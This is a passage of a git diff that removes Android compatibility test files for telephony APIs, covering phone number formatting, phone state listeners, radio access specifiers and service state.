-        builderNumber.clear();
-        builderNumber.append("+180055512");
-        PhoneNumberUtils.formatNanpNumber(builderNumber);
-        assertEquals("+1-800-555-12", builderNumber.toString());
-
-        // Test convertKeypadLettersToDigits
-        assertEquals("1-800-4664-411", PhoneNumberUtils
-                .convertKeypadLettersToDigits("1-800-GOOG-411"));
-        assertEquals("1-800-466-4411", PhoneNumberUtils
-                .convertKeypadLettersToDigits("1-800-466-4411"));
-        assertEquals("222-333-444-555-666-7777-888-9999", PhoneNumberUtils
-                .convertKeypadLettersToDigits("ABC-DEF-GHI-JKL-MNO-PQRS-TUV-WXYZ"));
-        assertEquals("222-333-444-555-666-7777-888-9999", PhoneNumberUtils
-                .convertKeypadLettersToDigits("abc-def-ghi-jkl-mno-pqrs-tuv-wxyz"));
-        assertEquals("(800) 222-3334", PhoneNumberUtils
-                .convertKeypadLettersToDigits("(800) ABC-DEFG"));
-
-        // Test stringFromStringAndTOA
-        assertNull(PhoneNumberUtils.stringFromStringAndTOA(null, 1));
-        assertEquals("+888888888", PhoneNumberUtils.stringFromStringAndTOA("888888888",
-                PhoneNumberUtils.TOA_International));
-
-        // Test formatJapaneseNumber
-        Editable jpEditNumber = Editable.Factory.getInstance().newEditable("0377777777");
-        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
-        assertEquals("03-7777-7777", jpEditNumber.toString());
-        jpEditNumber = Editable.Factory.getInstance().newEditable("09077777777");
-        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
-        assertEquals("090-7777-7777", jpEditNumber.toString());
-        jpEditNumber = Editable.Factory.getInstance().newEditable("0120777777");
-        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
-        assertEquals("0120-777-777", jpEditNumber.toString());
-        jpEditNumber = Editable.Factory.getInstance().newEditable("+81377777777");
-        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
-        assertEquals("+81-3-7777-7777", jpEditNumber.toString());
-        jpEditNumber = Editable.Factory.getInstance().newEditable("+819077777777");
-        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
-        assertEquals("+81-90-7777-7777", jpEditNumber.toString());
-
-        // Test formatNumber(String). Only numbers begin with +1 or +81 can be formatted.
-        assertEquals("+1-888-888-888", PhoneNumberUtils.formatNumber("+1888888888"));
-        // Test formatNumber(Editable, int)
-        Editable editNumber = Editable.Factory.getInstance().newEditable("0377777777");
-        PhoneNumberUtils.formatNumber(editNumber, PhoneNumberUtils.FORMAT_UNKNOWN);
-        assertEquals("0377777777", editNumber.toString());
-        editNumber = Editable.Factory.getInstance().newEditable("+177777777");
-        PhoneNumberUtils.formatNumber(editNumber, PhoneNumberUtils.FORMAT_UNKNOWN);
-        assertEquals("+1-777-777-77", editNumber.toString());
-        editNumber = Editable.Factory.getInstance().newEditable("+8177777777");
-        PhoneNumberUtils.formatNumber(editNumber, PhoneNumberUtils.FORMAT_UNKNOWN);
-        assertEquals("+81-77-777-777", editNumber.toString());
-
-        // Test stripSeparators
-        assertEquals("+188888888", PhoneNumberUtils.stripSeparators("+188-888-888"));
-
-        // Test toaFromString
-        assertEquals(PhoneNumberUtils.TOA_International, PhoneNumberUtils
-                .toaFromString("+88888888"));
-        assertEquals(PhoneNumberUtils.TOA_Unknown, PhoneNumberUtils.toaFromString("88888888"));
-    }
-
-    public void testJudgeMethods() {
-        // Test is12Key, isDialable, isISODigit, isReallyDialable, isStartsPostDial
-        for (char c = '0'; c <= '9'; c++) {
-            assertTrue(PhoneNumberUtils.is12Key(c));
-            assertTrue(PhoneNumberUtils.isDialable(c));
-            assertTrue(PhoneNumberUtils.isISODigit(c));
-            assertTrue(PhoneNumberUtils.isNonSeparator(c));
-            assertTrue(PhoneNumberUtils.isReallyDialable(c));
-        }
-        char c = '*';
-        assertTrue(PhoneNumberUtils.is12Key(c));
-        assertTrue(PhoneNumberUtils.isDialable(c));
-        assertTrue(PhoneNumberUtils.isNonSeparator(c));
-        assertTrue(PhoneNumberUtils.isReallyDialable(c));
-        c = '#';
-        assertTrue(PhoneNumberUtils.is12Key(c));
-        assertTrue(PhoneNumberUtils.isDialable(c));
-        assertTrue(PhoneNumberUtils.isNonSeparator(c));
-        assertTrue(PhoneNumberUtils.isReallyDialable(c));
-        c = '$';
-        assertFalse(PhoneNumberUtils.is12Key(c));
-        assertFalse(PhoneNumberUtils.isDialable(c));
-        assertFalse(PhoneNumberUtils.isDialable(c));
-        c = '+';
-        assertTrue(PhoneNumberUtils.isDialable(c));
-        assertFalse(PhoneNumberUtils.isISODigit(c));
-        assertTrue(PhoneNumberUtils.isNonSeparator(c));
-        assertTrue(PhoneNumberUtils.isReallyDialable(c));
-        c = PhoneNumberUtils.WILD;
-        assertTrue(PhoneNumberUtils.isDialable(c));
-        assertTrue(PhoneNumberUtils.isNonSeparator(c));
-        assertFalse(PhoneNumberUtils.isReallyDialable(c));
-        c = PhoneNumberUtils.WAIT;
-        assertTrue(PhoneNumberUtils.isNonSeparator(c));
-        assertTrue(PhoneNumberUtils.isStartsPostDial(c));
-        c = PhoneNumberUtils.PAUSE;
-        assertTrue(PhoneNumberUtils.isNonSeparator(c));
-        assertTrue(PhoneNumberUtils.isStartsPostDial(c));
-        c = '8';
-        assertFalse(PhoneNumberUtils.isStartsPostDial(c));
-
-        // Test isEmergencyNumber, now only know US emergency number
-        TelephonyManager tm = (TelephonyManager)getContext().getSystemService(
-                 Context.TELEPHONY_SERVICE);
-        // Test isEmergencyNumber, now only know US emergency number
-        if ("US".equals(tm.getSimCountryIso())) {
-            assertTrue(PhoneNumberUtils.isEmergencyNumber("911"));
-            assertFalse(PhoneNumberUtils.isEmergencyNumber("119"));
-        }
-
-        // Test isGlobalPhoneNumber
-        assertTrue(PhoneNumberUtils.isGlobalPhoneNumber("+17005554141"));
-        assertFalse(PhoneNumberUtils.isGlobalPhoneNumber("android"));
-
-        // Test isWellFormedSmsAddress
-        assertTrue(PhoneNumberUtils.isWellFormedSmsAddress("+17005554141"));
-        assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
-    }
-
-    public void testGetPhoneTtsSpan() {
-        // Setup: phone number without a country code. Lets keep coverage minimal to avoid
-        // exercising the underlying PhoneNumberUtil or constraining localization changes.
-        String phoneNumber = "6512223333";
-        // Execute
-        TtsSpan ttsSpan = PhoneNumberUtils.createTtsSpan(phoneNumber);
-        // Verify: the created TtsSpan contains the phone number.
-        assertEquals("6512223333", ttsSpan.getArgs().get(TtsSpan.ARG_NUMBER_PARTS));
-    }
-
-    public void testAddPhoneTtsSpan() {
-        // Setup: phone number without a country code. Lets keep coverage minimal to avoid
-        // exercising the underlying PhoneNumberUtil or constraining localization changes.
-        Spannable spannable = new SpannableString("Hello 6502223333");
-        // Execute
-        PhoneNumberUtils.addTtsSpan(spannable, 5, spannable.length());
-        // Verify: the Spannable is annotated with a TtsSpan in the correct location.
-        TtsSpan[] ttsSpans = spannable.getSpans(5, spannable.length() - 1, TtsSpan.class);
-        assertEquals(1, ttsSpans.length);
-        assertEquals("6502223333", ttsSpans[0].getArgs().get(TtsSpan.ARG_NUMBER_PARTS));
-    }
-
-    public void testGetPhoneTtsSpannable() {
-        // Setup: phone number without a country code. Lets keep coverage minimal to avoid
-        // exercising the underlying PhoneNumberUtil or constraining localization changes.
-        CharSequence phoneNumber = "6512223333";
-        // Execute
-        Spannable spannable = (Spannable) PhoneNumberUtils.createTtsSpannable(phoneNumber);
-        // Verify: returned char sequence contains a TtsSpan with the phone number in it
-        TtsSpan[] ttsSpans = spannable.getSpans(0, spannable.length() - 1, TtsSpan.class);
-        assertEquals(1, ttsSpans.length);
-        assertEquals("6512223333", ttsSpans[0].getArgs().get(TtsSpan.ARG_NUMBER_PARTS));
-    }
-
-    public void testFormatNumberToE164() {
-        assertNull(PhoneNumberUtils.formatNumber("invalid#", "US"));
-        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "US"));
-
-        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "US"));
-        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "US"));
-        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
-        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/src/android/telephony/cts/PhoneStateListenerTest.java
deleted file mode 100644
index 7745497..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/PhoneStateListenerTest.java
+++ /dev/null
@@ -1,520 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.telephony.cts;
-
-import android.content.Context;
-import android.os.Looper;
-import android.telephony.CellInfo;
-import android.telephony.CellLocation;
-import android.telephony.PhoneStateListener;
-import android.telephony.ServiceState;
-import android.telephony.SignalStrength;
-import android.telephony.TelephonyManager;
-import android.net.ConnectivityManager;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.TestThread;
-
-import java.util.List;
-
-public class PhoneStateListenerTest extends  AndroidTestCase{
-
-    public static final long WAIT_TIME = 1000;
-
-    private boolean mOnCallForwardingIndicatorChangedCalled;
-    private boolean mOnCallStateChangedCalled;
-    private boolean mOnCellLocationChangedCalled;
-    private boolean mOnUserMobileDataStateChanged;
-    private boolean mOnDataActivityCalled;
-    private boolean mOnDataConnectionStateChangedCalled;
-    private boolean mOnDataConnectionStateChangedWithNetworkTypeCalled;
-    private boolean mOnMessageWaitingIndicatorChangedCalled;
-    private boolean mOnCellInfoChangedCalled;
-    private boolean mOnServiceStateChangedCalled;
-    private boolean mOnSignalStrengthChangedCalled;
-    private SignalStrength mSignalStrength;
-    private TelephonyManager mTelephonyManager;
-    private PhoneStateListener mListener;
-    private final Object mLock = new Object();
-    private static final String TAG = "android.telephony.cts.PhoneStateListenerTest";
-    private static ConnectivityManager mCm;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTelephonyManager =
-                (TelephonyManager)getContext().getSystemService(Context.TELEPHONY_SERVICE);
-        mCm = (ConnectivityManager)getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        if (mListener != null) {
-            // unregister the listener
-            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
-        }
-    }
-
-    public void testPhoneStateListener() {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        Looper.prepare();
-        new PhoneStateListener();
-    }
-
-    /*
-     * The tests below rely on the framework to immediately call the installed listener upon
-     * registration. There is no simple way to emulate state changes for testing the listeners.
-     */
-
-    public void testOnServiceStateChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onServiceStateChanged(ServiceState serviceState) {
-                        synchronized(mLock) {
-                            mOnServiceStateChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnServiceStateChangedCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnServiceStateChangedCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnServiceStateChangedCalled);
-    }
-
-    public void testOnSignalStrengthChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onSignalStrengthChanged(int asu) {
-                        synchronized(mLock) {
-                            mOnSignalStrengthChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SIGNAL_STRENGTH);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnSignalStrengthChangedCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnSignalStrengthChangedCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnSignalStrengthChangedCalled);
-    }
-
-    public void testOnSignalStrengthsChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onSignalStrengthsChanged(SignalStrength signalStrength) {
-                        synchronized(mLock) {
-                            mSignalStrength = signalStrength;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SIGNAL_STRENGTHS);
-
-                Looper.loop();
-            }
-        });
-
-        assertTrue(mSignalStrength == null);
-        t.start();
-
-        synchronized (mLock) {
-            while(mSignalStrength == null) {
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mSignalStrength != null);
-
-        // Call SignalStrength methods to make sure they do not throw any exceptions
-        mSignalStrength.getCdmaDbm();
-        mSignalStrength.getCdmaEcio();
-        mSignalStrength.getEvdoDbm();
-        mSignalStrength.getEvdoEcio();
-        mSignalStrength.getEvdoSnr();
-        mSignalStrength.getGsmBitErrorRate();
-        mSignalStrength.getGsmSignalStrength();
-        mSignalStrength.isGsm();
-        mSignalStrength.getLevel();
-    }
-
-    public void testOnMessageWaitingIndicatorChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onMessageWaitingIndicatorChanged(boolean mwi) {
-                        synchronized(mLock) {
-                            mOnMessageWaitingIndicatorChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(
-                        mListener, PhoneStateListener.LISTEN_MESSAGE_WAITING_INDICATOR);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnMessageWaitingIndicatorChangedCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnMessageWaitingIndicatorChangedCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnMessageWaitingIndicatorChangedCalled);
-    }
-
-    public void testOnCallForwardingIndicatorChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            @Override
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onCallForwardingIndicatorChanged(boolean cfi) {
-                        synchronized(mLock) {
-                            mOnCallForwardingIndicatorChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(
-                        mListener, PhoneStateListener.LISTEN_CALL_FORWARDING_INDICATOR);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnCallForwardingIndicatorChangedCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnCallForwardingIndicatorChangedCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnCallForwardingIndicatorChangedCalled);
-    }
-
-    public void testOnCellLocationChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onCellLocationChanged(CellLocation location) {
-                        synchronized(mLock) {
-                            mOnCellLocationChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnCellLocationChangedCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnCellLocationChangedCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnCellLocationChangedCalled);
-    }
-
-    public void testOnCallStateChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onCallStateChanged(int state, String incomingNumber) {
-                        synchronized(mLock) {
-                            mOnCallStateChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CALL_STATE);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnCallStateChangedCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnCallStateChangedCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnCallStateChangedCalled);
-    }
-
-    public void testOnDataConnectionStateChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onDataConnectionStateChanged(int state) {
-                        synchronized(mLock) {
-                            mOnDataConnectionStateChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                    @Override
-                    public void onDataConnectionStateChanged(int state, int networkType) {
-                        synchronized(mLock) {
-                            mOnDataConnectionStateChangedWithNetworkTypeCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(
-                        mListener, PhoneStateListener.LISTEN_DATA_CONNECTION_STATE);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnDataConnectionStateChangedCalled);
-        assertFalse(mOnDataConnectionStateChangedWithNetworkTypeCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnDataConnectionStateChangedCalled ||
-                    !mOnDataConnectionStateChangedWithNetworkTypeCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnDataConnectionStateChangedCalled);
-        assertTrue(mOnDataConnectionStateChangedWithNetworkTypeCalled);
-    }
-
-    public void testOnDataActivity() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onDataActivity(int direction) {
-                        synchronized(mLock) {
-                            mOnDataActivityCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_DATA_ACTIVITY);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnDataActivityCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnDataActivityCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnDataActivityCalled);
-    }
-
-    public void testOnCellInfoChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onCellInfoChanged(List<CellInfo> cellInfo) {
-                        synchronized(mLock) {
-                            mOnCellInfoChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_INFO);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnDataActivityCalled);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnCellInfoChangedCalled){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnCellInfoChangedCalled);
-    }
-
-    public void testOnUserMobileDataStateChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onUserMobileDataStateChanged(boolean state) {
-                        synchronized(mLock) {
-                            mOnUserMobileDataStateChanged = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(
-                        mListener, PhoneStateListener.LISTEN_USER_MOBILE_DATA_STATE);
-
-                Looper.loop();
-            }
-        });
-
-        assertFalse(mOnUserMobileDataStateChanged);
-        t.start();
-
-        synchronized (mLock) {
-            while(!mOnUserMobileDataStateChanged){
-                mLock.wait();
-            }
-        }
-        t.checkException();
-        assertTrue(mOnUserMobileDataStateChanged);
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/RadioAccessSpecifierTest.java b/tests/tests/telephony/src/android/telephony/cts/RadioAccessSpecifierTest.java
deleted file mode 100644
index 693472f..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/RadioAccessSpecifierTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.telephony.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.os.Parcel;
-import android.telephony.RadioAccessSpecifier;
-import android.test.AndroidTestCase;
-
-public class RadioAccessSpecifierTest extends AndroidTestCase {
-    public void testConstructorAndGetters() {
-        // Constructor and getters.
-        int ran = 1;
-        int[] bands = {1, 2, 3, 4};
-        int[] channels = {5, 6, 7};
-        RadioAccessSpecifier radioAccessSpecifier = new RadioAccessSpecifier(ran, bands, channels);
-        assertThat(radioAccessSpecifier.describeContents()).isEqualTo(0);
-        assertThat(radioAccessSpecifier.getRadioAccessNetwork()).isEqualTo(ran);
-        assertThat(radioAccessSpecifier.getBands()).isEqualTo(bands);
-        assertThat(radioAccessSpecifier.getChannels()).isEqualTo(channels);
-
-        // Comparision method.
-        RadioAccessSpecifier toCompare1 = new RadioAccessSpecifier(ran, bands, channels);
-        RadioAccessSpecifier toCompare2 = new RadioAccessSpecifier(ran, new int[] {1, 2, 3, 4},
-                new int[] {5, 6, 7});
-        RadioAccessSpecifier toCompare3 = new RadioAccessSpecifier(ran+1, bands, channels);
-        assertThat(radioAccessSpecifier).isEqualTo(toCompare1);
-        assertThat(radioAccessSpecifier).isEqualTo(toCompare2);
-        assertThat(radioAccessSpecifier).isNotEqualTo(toCompare3);
-
-        // Parcel read and write.
-        Parcel stateParcel = Parcel.obtain();
-        radioAccessSpecifier.writeToParcel(stateParcel, 0);
-        stateParcel.setDataPosition(0);
-        toCompare1 = RadioAccessSpecifier.CREATOR.createFromParcel(stateParcel);
-        assertThat(radioAccessSpecifier).isEqualTo(toCompare1);
-
-        // Other methods.
-        assertThat(radioAccessSpecifier.hashCode()).isGreaterThan(0);
-        assertThat(radioAccessSpecifier.toString()).isNotNull();
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/ServiceStateTest.java b/tests/tests/telephony/src/android/telephony/cts/ServiceStateTest.java
deleted file mode 100644
index 47f1429..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/ServiceStateTest.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.telephony.cts;
-
-import static android.telephony.ServiceState.DUPLEX_MODE_FDD;
-import static android.telephony.ServiceState.DUPLEX_MODE_TDD;
-import static android.telephony.ServiceState.DUPLEX_MODE_UNKNOWN;
-
-import android.os.Parcel;
-import android.telephony.AccessNetworkConstants;
-import android.telephony.ServiceState;
-import android.test.AndroidTestCase;
-
-public class ServiceStateTest extends AndroidTestCase {
-    private static final String OPERATOR_ALPHA_LONG = "CtsOperatorLong";
-    private static final String OPERATOR_ALPHA_SHORT = "CtsOp";
-    private static final String OPERATOR_NUMERIC = "02871";
-    private static final int SYSTEM_ID = 123;
-    private static final int NETWORK_ID = 456;
-    private static final int CHANNEL_NUMBER_BAND_66 = 66436;
-    private static final int CHANNEL_NUMBER_BAND_33 = 36000;
-    private static final int[] CELL_BANDWIDTH = {1, 2, 3};
-
-    public void testServiceState() {
-        ServiceState serviceState = new ServiceState();
-
-        assertEquals(0, serviceState.describeContents());
-
-        serviceState.setStateOff();
-        assertEquals(ServiceState.STATE_POWER_OFF, serviceState.getState());
-        checkOffStatus(serviceState);
-
-        serviceState.setStateOutOfService();
-        assertEquals(ServiceState.STATE_OUT_OF_SERVICE, serviceState.getState());
-        checkOffStatus(serviceState);
-
-        serviceState.setState(ServiceState.STATE_IN_SERVICE);
-        assertEquals(ServiceState.STATE_IN_SERVICE, serviceState.getState());
-
-        assertFalse(serviceState.getRoaming());
-        serviceState.setRoaming(true);
-        assertTrue(serviceState.getRoaming());
-
-        assertFalse(serviceState.getIsManualSelection());
-        serviceState.setIsManualSelection(true);
-        assertTrue(serviceState.getIsManualSelection());
-
-        serviceState.setOperatorName(OPERATOR_ALPHA_LONG, OPERATOR_ALPHA_SHORT, OPERATOR_NUMERIC);
-        assertEquals(OPERATOR_ALPHA_LONG, serviceState.getOperatorAlphaLong());
-        assertEquals(OPERATOR_ALPHA_SHORT, serviceState.getOperatorAlphaShort());
-        assertEquals(OPERATOR_NUMERIC, serviceState.getOperatorNumeric());
-
-        serviceState.setCdmaSystemAndNetworkId(SYSTEM_ID, NETWORK_ID);
-        assertEquals(SYSTEM_ID, serviceState.getCdmaSystemId());
-        assertEquals(NETWORK_ID, serviceState.getCdmaNetworkId());
-
-        serviceState.setChannelNumber(CHANNEL_NUMBER_BAND_66);
-        assertEquals(CHANNEL_NUMBER_BAND_66, serviceState.getChannelNumber());
-
-        serviceState.setCellBandwidths(CELL_BANDWIDTH);
-        assertEquals(CELL_BANDWIDTH, serviceState.getCellBandwidths());
-
-        serviceState.setRilDataRadioTechnology(ServiceState.RIL_RADIO_TECHNOLOGY_GSM);
-        assertEquals(DUPLEX_MODE_UNKNOWN, serviceState.getDuplexMode());
-
-        serviceState.setRilDataRadioTechnology(ServiceState.RIL_RADIO_TECHNOLOGY_LTE);
-        assertEquals(DUPLEX_MODE_FDD, serviceState.getDuplexMode());
-
-        serviceState.setChannelNumber(CHANNEL_NUMBER_BAND_33);
-        assertEquals(DUPLEX_MODE_TDD, serviceState.getDuplexMode());
-
-        assertTrue(serviceState.hashCode() > 0);
-        assertNotNull(serviceState.toString());
-
-        ServiceState tempServiceState = new ServiceState(serviceState);
-        assertTrue(tempServiceState.equals(serviceState));
-
-        Parcel stateParcel = Parcel.obtain();
-        serviceState.writeToParcel(stateParcel, 0);
-        stateParcel.setDataPosition(0);
-        tempServiceState = new ServiceState(stateParcel);
-        assertTrue(tempServiceState.equals(serviceState));
-
-        MockServiceState mockServiceState = new MockServiceState();
-        mockServiceState.copyFrom(serviceState);
-        assertTrue(mockServiceState.equals(serviceState));
-    }
-
-    /**
-     * Check the ServiceState fields in STATE_OUT_OF_SERVICE or STATE_POWER_OFF
-     */
-    private void checkOffStatus(ServiceState s) {
-        assertFalse(s.getRoaming());
-        assertNull(s.getOperatorAlphaLong());
-        assertNull(s.getOperatorAlphaShort());
-        assertNull(s.getOperatorNumeric());
-        assertFalse(s.getIsManualSelection());
-    }
-
-    private class MockServiceState extends ServiceState {
